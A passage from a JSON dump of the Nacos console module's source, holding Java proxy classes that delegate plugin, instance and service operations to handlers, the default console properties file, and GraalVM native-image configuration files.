NacosException {\n        pluginHandler.updatePluginStatus(pluginType, pluginName, enabled, localOnly);\n    }\n\n    /**\n     * Update plugin configuration.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @param config     configuration map\n     * @param localOnly  whether only apply to local node\n     * @throws NacosException if there is an issue updating the plugin config\n     */\n    public void updatePluginConfig(String pluginType, String pluginName, Map<String, String> config,\n            boolean localOnly) throws NacosException {\n        pluginHandler.updatePluginConfig(pluginType, pluginName, config, localOnly);\n    }\n\n    /**\n     * Get plugin availability across cluster nodes.\n     *\n     * @param pluginType plugin type\n     * @param pluginName plugin name\n     * @return node availability map\n     * @throws NacosException if there is an issue fetching the availability\n     */\n    public Map<String, Boolean> getPluginAvailability(String pluginType, String pluginName) throws NacosException {\n        return pluginHandler.getPluginAvailability(pluginType, pluginName);\n    }\n}\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/naming/InstanceProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.console.handler.naming.InstanceHandler;\nimport com.alibaba.nacos.naming.model.form.InstanceForm;\nimport org.springframework.stereotype.Service;\n\n/**\n * Proxy class for handling instance-related operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class InstanceProxy {\n    \n    private final InstanceHandler instanceHandler;\n    \n    /**\n     * Constructs a new InstanceProxy with the given InstanceInnerHandler and ConsoleConfig.\n     *\n     * @param instanceHandler the default implementation of InstanceHandler\n     */\n    public InstanceProxy(InstanceHandler instanceHandler) {\n        this.instanceHandler = instanceHandler;\n    }\n    \n    /**\n     * Retrieve a list of instances for a specific service and returns as an ObjectNode.\n     *\n     * @param namespaceId             the namespace ID\n     * @param serviceNameWithoutGroup the service name without group\n     * @param groupName               the group name\n     * @param clusterName             the cluster name\n     * @param page                    the page number\n     * @param pageSize                the size of the page\n     * @return the page object of {@link Instance}\n     * @throws IllegalArgumentException if the deployment type is invalid\n     * @throws NacosException           if the list operation fails\n     */\n    public Page<? extends Instance> listInstances(String namespaceId, String serviceNameWithoutGroup, String groupName,\n            String clusterName, int page, int pageSize) throws NacosException {\n        return instanceHandler.listInstances(namespaceId, serviceNameWithoutGroup, groupName, clusterName, page,\n                pageSize);\n    }\n    \n    /**\n     * Updates an instance.\n     *\n     * @param instanceForm the form containing instance data\n     * @param instance     the instance to update\n     * @throws NacosException           if the update operation fails\n     * @throws IllegalArgumentException if the deployment type is invalid\n     */\n    public void updateInstance(InstanceForm instanceForm, Instance instance) throws NacosException {\n        instanceHandler.updateInstance(instanceForm, instance);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/java/com/alibaba/nacos/console/proxy/naming/ServiceProxy.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\npackage com.alibaba.nacos.console.proxy.naming;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceDetailInfo;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.ServiceView;\nimport com.alibaba.nacos.api.naming.pojo.maintainer.SubscriberInfo;\nimport com.alibaba.nacos.console.handler.naming.ServiceHandler;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.model.form.ServiceForm;\nimport org.springframework.stereotype.Service;\n\nimport java.util.List;\n\n/**\n * Proxy class for handling service-related operations.\n *\n * @author zhangyukun\n */\n@Service\npublic class ServiceProxy {\n    \n    private final ServiceHandler serviceHandler;\n    \n    /**\n     * Constructs a new ServiceProxy with the given ServiceInnerHandler and ConsoleConfig. The handler is mapped to a\n     * deployment type key.\n     *\n     * @param serviceHandler the default implementation of ServiceHandler\n     */\n    public ServiceProxy(ServiceHandler serviceHandler) {\n        this.serviceHandler = serviceHandler;\n    }\n    \n    /**\n     * Creates a new service by delegating the operation to the appropriate handler.\n     *\n     * @param serviceForm the service form containing the service details\n     * @throws Exception if an error occurs during service creation\n     */\n    public void createService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        serviceHandler.createService(serviceForm, serviceMetadata);\n    }\n    \n    /**\n     * Deletes an existing service by delegating the operation to the appropriate handler.\n     *\n     * @param namespaceId the namespace ID\n     * @param serviceName the service name\n     * @param groupName   the group name\n     * @throws Exception if an error occurs during service deletion\n     */\n    public void deleteService(String namespaceId, String serviceName, String groupName) throws Exception {\n        serviceHandler.deleteService(namespaceId, serviceName, groupName);\n    }\n    \n    /**\n     * Updates an existing service by delegating the operation to the appropriate handler.\n     *\n     * @param serviceForm     the service form containing the service details\n     * @param serviceMetadata the service metadata created from serviceForm\n     * @throws Exception if an error occurs during service update\n     */\n    public void updateService(ServiceForm serviceForm, ServiceMetadata serviceMetadata) throws Exception {\n        serviceHandler.updateService(serviceForm, serviceMetadata);\n    }\n    \n    /**\n     * Retrieves all selector types by delegating the operation to the appropriate handler.\n     *\n     * @return a list of selector types\n     */\n    public List<String> getSelectorTypeList() throws NacosException {\n        return serviceHandler.getSelectorTypeList();\n    }\n    \n    /**\n     * Retrieves the list of subscribers for a service by delegating the operation to the appropriate handler.\n     *\n     * @param pageNo      the page number\n     * @param pageSize    the size of the page\n     * @param namespaceId the namespace ID\n     * @param serviceName the service name\n     * @param groupName   the group name\n     * @param aggregation whether to aggregate the results\n     * @return a JSON node containing the list of subscribers\n     * @throws Exception if an error occurs during fetching subscribers\n     */\n    public Page<SubscriberInfo> getSubscribers(int pageNo, int pageSize, String namespaceId, String serviceName,\n            String groupName, boolean aggregation) throws Exception {\n        return serviceHandler.getSubscribers(pageNo, pageSize, namespaceId, serviceName, groupName, aggregation);\n    }\n    \n    /**\n     * Retrieves the list of services and their details by delegating the operation to the appropriate handler.\n     *\n     * @param withInstances whether to include instances\n     * @param namespaceId   the namespace ID\n     * @param pageNo        the page number\n     * @param pageSize      the size of the page\n     * @param serviceName   the service name\n     * @param groupName     the group name\n     * @param hasIpCount    whether to filter services with empty instances\n     * @return if withInstances is {@code true}, return List of {@link ServiceDetailInfo}, otherwise return List of {@link ServiceView}\n     * @throws NacosException if an error occurs during fetching service details\n     */\n    public Object getServiceList(boolean withInstances, String namespaceId, int pageNo, int pageSize,\n            String serviceName, String groupName, boolean hasIpCount) throws NacosException {\n        return serviceHandler.getServiceList(withInstances, namespaceId, pageNo, pageSize, serviceName, groupName,\n                hasIpCount);\n    }\n    \n    /**\n     * Retrieves the details of a specific service by delegating the operation to the appropriate handler.\n     *\n     * @param namespaceId             the namespace ID\n     * @param serviceName the service name without group\n     * @param groupName               the group name\n     * @return service detail information\n     * @throws NacosException if an error occurs during fetching service details\n     */\n    public ServiceDetailInfo getServiceDetail(String namespaceId, String serviceName, String groupName)\n            throws NacosException {\n        return serviceHandler.getServiceDetail(namespaceId, serviceName, groupName);\n    }\n    \n    /**\n     * Updates the metadata of a cluster.\n     *\n     * @param namespaceId     the namespace ID\n     * @param groupName       the group name\n     * @param serviceName     the service name\n     * @param clusterName     the cluster name\n     * @param clusterMetadata the metadata for the cluster\n     * @throws Exception                if the update operation fails\n     * @throws IllegalArgumentException if the deployment type is invalid\n     */\n    public void updateClusterMetadata(String namespaceId, String groupName, String serviceName, String clusterName,\n            ClusterMetadata clusterMetadata) throws Exception {\n        serviceHandler.updateClusterMetadata(namespaceId, groupName, serviceName, clusterName, clusterMetadata);\n    }\n}\n\n"
  },
  {
    "path": "console/src/main/resources/META-INF/nacos-default.properties",
    "content": "#\n# Copyright 1999-2018 Alibaba Group Holding Ltd.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#      http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n# Console Default Properties\n\nspring.mvc.view.prefix=/jsp/\n# the default suffix of page\nspring.mvc.view.suffix=.jsp\nspring.autoconfigure.exclude=org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration,org.springframework.boot.autoconfigure.jdbc.DataSourceTransactionManagerAutoConfiguration\n#logging.level.root=DEBUG\n\n# P0 key,For Debug.  whether use address-server; true:use; false:not use;default:true\nuseAddressServer=true\n\n# whether open interInterFaceFilter; true:open; false:close; if open, others can't call inner interface. default:false\nopenInnerInterfaceFilter=false\n\n# quickStart  stip dumpAll;only dump change config\nisQuickStart=false\n\n# server notify each otherd\nnotifyConnectTimeout=200\n\n# server notify each other\nnotifySocketTimeout=8000\n\n# whether health check\nisHealthCheck=true\n\n# health check max fail count\nmaxHealthCheckFailCount=12\n\n# whether open spas; true:open;  false:close\nOPEN_SPAS=true\n\nnacos.cmdb.dumpTaskInterval=3600\nnacos.cmdb.eventTaskInterval=10\nnacos.cmdb.labelTaskInterval=300\nnacos.cmdb.loadDataAtStart=false\n\n#management.endpoints.web.exposure.include=*\n\n#spring.security.enabled=false\n#management.security=false\n#security.basic.enabled=false\n#nacos.security.ignore.urls=/**\nnacos.security.ignore.urls=/,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-ui/public/**,/v1/auth/login,/v1/console/health,/v1/cs/**,/v1/ns/**,/v1/cmdb/**,/actuator/**\n\nmanagement.metrics.export.elastic.enabled=false\n#management.metrics.export.elastic.host=http://localhost:9200\n\n# metrics for influx\nmanagement.metrics.export.influx.enabled=false\n#management.metrics.export.influx.db=springboot\n#management.metrics.export.influx.uri=http://localhost:8086\n#management.metrics.export.influx.auto-create-db=true\n#management.metrics.export.influx.consistency=one\n#management.metrics.export.influx.compressed=true\n\nserver.tomcat.accesslog.enabled=true\nserver.tomcat.accesslog.pattern=%h %l %u %t \"%r\" %s %b %D\n# default current work dir\nserver.tomcat.basedir=file:.\n\n\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/jni-config.json",
    "content": "[\n{\n  \"name\":\"[Lcom.sun.management.internal.DiagnosticCommandArgumentInfo;\"\n},\n{\n  \"name\":\"[Lcom.sun.management.internal.DiagnosticCommandInfo;\"\n},\n{\n  \"name\":\"com.alibaba.nacos.Nacos\",\n  \"methods\":[{\"name\":\"main\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"com.sun.management.internal.DiagnosticCommandArgumentInfo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"boolean\",\"boolean\",\"boolean\",\"int\"] }]\n},\n{\n  \"name\":\"com.sun.management.internal.DiagnosticCommandInfo\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"java.lang.String\",\"boolean\",\"java.util.List\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.ChannelException\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.DefaultFileRegion\",\n  \"fields\":[{\"name\":\"file\"}, {\"name\":\"transferred\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.LinuxSocket\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.Native\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.NativeDatagramPacketArray$NativeDatagramPacket\",\n  \"fields\":[{\"name\":\"count\"}, {\"name\":\"memoryAddress\"}, {\"name\":\"recipientAddr\"}, {\"name\":\"recipientAddrLen\"}, {\"name\":\"recipientPort\"}, {\"name\":\"recipientScopeId\"}, {\"name\":\"segmentSize\"}, {\"name\":\"senderAddr\"}, {\"name\":\"senderAddrLen\"}, {\"name\":\"senderPort\"}, {\"name\":\"senderScopeId\"}]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.epoll.NativeStaticallyReferencedJniMethods\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.Buffer\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.DatagramSocketAddress\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"byte[]\",\"int\",\"int\",\"int\",\"io.grpc.netty.shaded.io.netty.channel.unix.DatagramSocketAddress\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.DomainDatagramSocketAddress\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"byte[]\",\"int\",\"io.grpc.netty.shaded.io.netty.channel.unix.DomainDatagramSocketAddress\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.ErrorsStaticallyReferencedJniMethods\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.FileDescriptor\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.LimitsStaticallyReferencedJniMethods\"\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.PeerCredentials\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"int\",\"int\",\"int[]\"] }]\n},\n{\n  \"name\":\"io.grpc.netty.shaded.io.netty.channel.unix.Socket\"\n},\n{\n  \"name\":\"java.io.FileDescriptor\",\n  \"fields\":[{\"name\":\"fd\"}]\n},\n{\n  \"name\":\"java.io.IOException\"\n},\n{\n  \"name\":\"java.lang.Boolean\",\n  \"methods\":[{\"name\":\"getBoolean\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.lang.InternalError\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.lang.OutOfMemoryError\"\n},\n{\n  \"name\":\"java.lang.RuntimeException\"\n},\n{\n  \"name\":\"java.lang.String\",\n  \"methods\":[{\"name\":\"lastIndexOf\",\"parameterTypes\":[\"int\"] }, {\"name\":\"substring\",\"parameterTypes\":[\"int\"] }]\n},\n{\n  \"name\":\"java.lang.System\",\n  \"methods\":[{\"name\":\"getProperty\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setProperty\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }]\n},\n{\n  \"name\":\"java.net.InetSocketAddress\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.String\",\"int\"] }]\n},\n{\n  \"name\":\"java.net.PortUnreachableException\"\n},\n{\n  \"name\":\"java.nio.Buffer\",\n  \"fields\":[{\"name\":\"limit\"}, {\"name\":\"position\"}],\n  \"methods\":[{\"name\":\"limit\",\"parameterTypes\":[] }, {\"name\":\"position\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.nio.DirectByteBuffer\"\n},\n{\n  \"name\":\"java.nio.channels.ClosedChannelException\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"java.util.Arrays\",\n  \"methods\":[{\"name\":\"asList\",\"parameterTypes\":[\"java.lang.Object[]\"] }]\n},\n{\n  \"name\":\"org.springframework.boot.SpringApplicationAotProcessor\",\n  \"methods\":[{\"name\":\"main\",\"parameterTypes\":[\"java.lang.String[]\"] }]\n},\n{\n  \"name\":\"sun.instrument.InstrumentationImpl\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[\"long\",\"boolean\",\"boolean\"] }, {\"name\":\"loadClassAndCallAgentmain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"loadClassAndCallPremain\",\"parameterTypes\":[\"java.lang.String\",\"java.lang.String\"] }, {\"name\":\"transform\",\"parameterTypes\":[\"java.lang.Module\",\"java.lang.ClassLoader\",\"java.lang.String\",\"java.lang.Class\",\"java.security.ProtectionDomain\",\"byte[]\",\"boolean\"] }]\n},\n{\n  \"name\":\"sun.management.VMManagementImpl\",\n  \"fields\":[{\"name\":\"compTimeMonitoringSupport\"}, {\"name\":\"currentThreadCpuTimeSupport\"}, {\"name\":\"objectMonitorUsageSupport\"}, {\"name\":\"otherThreadCpuTimeSupport\"}, {\"name\":\"remoteDiagnosticCommandsSupport\"}, {\"name\":\"synchronizerUsageSupport\"}, {\"name\":\"threadAllocatedMemorySupport\"}, {\"name\":\"threadContentionMonitoringSupport\"}]\n},\n{\n  \"name\":\"sun.nio.ch.FileChannelImpl\",\n  \"fields\":[{\"name\":\"fd\"}]\n}\n]\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/predefined-classes-config.json",
    "content": "[\n  {\n    \"type\":\"agent-extracted\",\n    \"classes\":[\n    ]\n  }\n]\n\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/proxy-config.json",
    "content": "[\n  {\n    \"interfaces\":[\"java.lang.reflect.GenericArrayType\",\"org.springframework.core.SerializableTypeWrapper$SerializableTypeProxy\",\"java.io.Serializable\"]\n  },\n  {\n    \"interfaces\":[\"java.lang.reflect.ParameterizedType\",\"org.springframework.core.SerializableTypeWrapper$SerializableTypeProxy\",\"java.io.Serializable\"]\n  },\n  {\n    \"interfaces\":[\"java.lang.reflect.TypeVariable\",\"org.springframework.core.SerializableTypeWrapper$SerializableTypeProxy\",\"java.io.Serializable\"]\n  },\n  {\n    \"interfaces\":[\"java.lang.reflect.WildcardType\",\"org.springframework.core.SerializableTypeWrapper$SerializableTypeProxy\",\"java.io.Serializable\"]\n  },\n  {\n    \"interfaces\":[\"java.sql.Connection\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.aot.hint.annotation.RegisterReflectionForBinding\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.boot.actuate.endpoint.annotation.Endpoint\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.boot.actuate.endpoint.annotation.EndpointExtension\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.boot.context.properties.ConfigurationProperties\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.jdbc.datasource.ConnectionProxy\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.security.config.annotation.method.configuration.EnableMethodSecurity\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.web.bind.annotation.ControllerAdvice\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.web.bind.annotation.RequestMapping\"]\n  },\n  {\n    \"interfaces\":[\"org.springframework.web.bind.annotation.RequestParam\"]\n  }\n]\n"
  },
  {
    "path": "console/src/main/resources/META-INF/native-image/com.alibaba.nacos/nacos-console/reflect-config.json",
    "content": "[\n{\n  \"name\":\"[B\"\n},\n{\n  \"name\":\"[C\"\n},\n{\n  \"name\":\"[D\"\n},\n{\n  \"name\":\"[F\"\n},\n{\n  \"name\":\"[I\"\n},\n{\n  \"name\":\"[J\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.annotation.JsonSubTypes$Type;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.deser.BeanDeserializerModifier;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.deser.Deserializers;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.deser.KeyDeserializers;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.deser.ValueInstantiators;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.ser.BeanSerializerModifier;\"\n},\n{\n  \"name\":\"[Lcom.fasterxml.jackson.databind.ser.Serializers;\"\n},\n{\n  \"name\":\"[Lcom.zaxxer.hikari.util.ConcurrentBag$IConcurrentBagEntry;\"\n},\n{\n  \"name\":\"[Ljava.lang.Class;\"\n},\n{\n  \"name\":\"[Ljava.lang.Object;\"\n},\n{\n  \"name\":\"[Ljava.lang.String;\"\n},\n{\n  \"name\":\"[Ljava.lang.annotation.Annotation;\"\n},\n{\n  \"name\":\"[Ljava.lang.reflect.Constructor;\"\n},\n{\n  \"name\":\"[Ljava.lang.reflect.Field;\"\n},\n{\n  \"name\":\"[Ljava.lang.reflect.Method;\"\n},\n{\n  \"name\":\"[Ljava.rmi.server.ObjID;\"\n},\n{\n  \"name\":\"[Ljava.sql.Statement;\"\n},\n{\n  \"name\":\"[Ljavax.management.openmbean.CompositeData;\"\n},\n{\n  \"name\":\"[Lorg.springframework.boot.actuate.autoconfigure.endpoint.expose.EndpointExposure;\"\n},\n{\n  \"name\":\"[Lorg.springframework.boot.context.config.ConfigDataLocation;\"\n},\n{\n  \"name\":\"[Lorg.springframework.core.annotation.AnnotationAttributes;\"\n},\n{\n  \"name\":\"[Lorg.springframework.core.annotation.TypeMappedAnnotation;\"\n},\n{\n  \"name\":\"[Lorg.springframework.jmx.export.metadata.ManagedOperationParameter;\"\n},\n{\n  \"name\":\"[Lorg.springframework.util.ConcurrentReferenceHashMap$Segment;\"\n},\n{\n  \"name\":\"[Lorg.springframework.web.bind.annotation.RequestMethod;\"\n},\n{\n  \"name\":\"[S\"\n},\n{\n  \"name\":\"[Z\"\n},\n{\n  \"name\":\"android.app.Application\"\n},\n{\n  \"name\":\"apple.security.AppleProvider\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"boolean\",\n  \"queryAllDeclaredMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"<init>\",\"parameterTypes\":[\"java.lang.Boolean\"] }, {\"name\":\"from\",\"parameterTypes\":[\"java.lang.Boolean\"] }, {\"name\":\"of\",\"parameterTypes\":[\"java.lang.Boolean\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.Boolean\"] }]\n},\n{\n  \"name\":\"brave.Tracer\"\n},\n{\n  \"name\":\"ch.qos.logback.classic.BasicConfigurator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.LoggerContext\"\n},\n{\n  \"name\":\"ch.qos.logback.classic.encoder.PatternLayoutEncoder\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.joran.SerializedModelConfigurator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.model.ConfigurationModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.classic.model.LoggerModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.classic.model.RootLoggerModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.DateConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LevelConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LineSeparatorConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.LoggerConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.MessageConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.pattern.ThreadConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.classic.util.DefaultJoranConfigurator\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.ConsoleAppender\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.FileAppender\",\n  \"methods\":[{\"name\":\"setAppend\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.OutputStreamAppender\",\n  \"methods\":[{\"name\":\"setEncoder\",\"parameterTypes\":[\"ch.qos.logback.core.encoder.Encoder\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.encoder.Encoder\",\n  \"methods\":[{\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.encoder.LayoutWrappingEncoder\",\n  \"methods\":[{\"name\":\"setCharset\",\"parameterTypes\":[\"java.nio.charset.Charset\"] }, {\"name\":\"setParent\",\"parameterTypes\":[\"ch.qos.logback.core.spi.ContextAware\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.model.AppenderModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.AppenderRefModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.ComponentModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.ImplicitModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.IncludeModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.Model\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.NamedComponentModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.NamedModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.PropertyModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.model.StatusListenerModel\",\n  \"allDeclaredFields\":true\n},\n{\n  \"name\":\"ch.qos.logback.core.pattern.PatternLayoutEncoderBase\",\n  \"methods\":[{\"name\":\"setPattern\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.RollingFileAppender\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setFile\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setRollingPolicy\",\"parameterTypes\":[\"ch.qos.logback.core.rolling.RollingPolicy\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.RollingPolicy\",\n  \"methods\":[{\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.RollingPolicyBase\",\n  \"methods\":[{\"name\":\"setFileNamePattern\",\"parameterTypes\":[\"java.lang.String\"] }, {\"name\":\"setParent\",\"parameterTypes\":[\"ch.qos.logback.core.FileAppender\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.SizeAndTimeBasedRollingPolicy\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, {\"name\":\"setMaxFileSize\",\"parameterTypes\":[\"ch.qos.logback.core.util.FileSize\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.TimeBasedRollingPolicy\",\n  \"methods\":[{\"name\":\"setCleanHistoryOnStart\",\"parameterTypes\":[\"boolean\"] }, {\"name\":\"setMaxHistory\",\"parameterTypes\":[\"int\"] }, {\"name\":\"setTotalSizeCap\",\"parameterTypes\":[\"ch.qos.logback.core.util.FileSize\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.helper.DateTokenConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.rolling.helper.IntegerTokenConverter\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.spi.ContextAware\",\n  \"methods\":[{\"name\":\"valueOf\",\"parameterTypes\":[\"java.lang.String\"] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.status.NopStatusListener\",\n  \"queryAllPublicMethods\":true,\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }]\n},\n{\n  \"name\":\"ch.qos.logback.core.util.FileSize\",\n  \"methods\":[{\"name\":\"<init>\",\"parameterTypes\":[] }, 